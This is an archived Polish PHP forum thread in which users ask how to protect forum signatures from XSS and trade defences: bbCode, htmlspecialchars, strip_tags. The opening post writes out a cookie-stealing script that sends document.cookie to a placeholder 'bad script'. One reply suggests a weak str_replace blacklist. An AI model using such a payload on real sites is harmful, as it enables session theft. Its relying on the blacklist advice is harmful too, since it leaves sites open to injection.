Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Jak zabezpieczyć np. podpis na forum
Forum PHP.pl > Forum > PHP
TomASS
Tak sobie myślę, że w większości for jest podpis użytkownika. Niektóre fora nie filtrują podpisów (np. mogę dać w podpisie obrazek itp.) a jakby tak dać:

  1. <script type="text/javascript">
  2. var adr = 'zly_skrypt.php?ciasteczka=' + escape(document.cookie);
  3. var obr = '<IMG src="' + adr + '">';
  4. document.write(obr);


To się chyba nazywa atak XSS.

Jak się przed tym zabezpieczyć, aby np. akceptował obrazki, odnośniki itp. a nie akceptował "złych skryptów"?
Ociu
Daj tylko dozwolone znaki - bbCode.
marcini82
Ja na poczatek wywalam (przy pomocy str_replace()) z danych od uzytkownika ciag '<script'
gladiror
Wrócę może do tego tematu bo mam konkretne pytanie do tego posta - chodzi mi o to czy wystarczy walidować każdą otrzymaną zmienną funkcją htmlspecialchars, żeby nie można było wykonać kod np. java script albo wstawić kod php?questionmark.gif Chodzi mi dokladnie o cos takiego. mamy strone:

index.php?roz=<a href="http://sotrna/zlosliwy_kod.php"></a>
  1. <?php
  2. Rozdzielczosc ekranu to:
  3. $roz = $_GET['height'];
  4. print($roz);
  5. ?>


Czy jak użyje htmlspecialchars($roz) to uchroni mnie to na 100% przed atakiem wpisania w zmienna złośliwego kodu??
LonelyKnight
Cytat(marcini82 @ 15.02.2006, 17:23:48 ) *
Ja na poczatek wywalam (przy pomocy str_replace()) z danych od uzytkownika ciag '<script'


A co jeśli zamiast '<script' będzie '< script'? Rkingsmiley.png ...bo coś mi się wydaje, że przeglądarka to łyknie a str_replace() nie bardzo tongue.gif

Cytat
Czy jak użyje htmlspecialchars($roz) to uchroni mnie to na 100% przed atakiem wpisania w zmienna złośliwego kodu??


htmlspecialchars() wyświetla znaki specjalne a nie ich interpretację. Po co wyświetlać np.

  1. <a href="jestemzly.php">zuuuło</a>


Jak takie coś Ci odpowiada to okej ale lepiej użyć strip_tags(), które usunie znaczniki php i html.

Rozwiązanie zaproponowane przez Ociu wydaję się najlepsze jednak proponowałbym jeszcze zwrócić uwagę na obecność "%" w przesyłanych danych. Czasami może zdarzyć się, że zapisując niektóre znaki w ASCII czy UNICODE uda się ominąć niektóre zabezpieczenia guitar.gif
maxserwer
A mi się wydaje że tego przeglądarka może nie łyknąć tongue.gif ale to jest tylko moja sugestia, spróbuj i napisz jak Ci poszło, liczę że pomimo moich myśli będzie wszystko guitar.gif
gladiror
użyłem htmlspecialchars i wyswietla mi wartość zmiennej -> zamiast > pokazuje &gt;

Kwestia jest teraz taka czy da sie to jakoś obejść czy już nie ma możliwości??
flv
Przecież na tym polega działanie tej funkcji, zamiana 'niebezpiecznych' znaków na encje..
marcini82
Cytat
A co jeśli zamiast '<script' będzie '< script'?

Przegladarka tego nie lyknie, sprawdz smile.gif

htmlspecialchars() tez jest w tym przypadku ok, bo wtedy '<script' po prostu sie wyswietli jak kazdy inny ciag.
LonelyKnight
Cytat(marcini82 @ 11.07.2007, 07:45:48 ) *
Przegladarka tego nie lyknie, sprawdz smile.gif


Fakt, trochę mnie fantazja poniosła laugh.gif
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.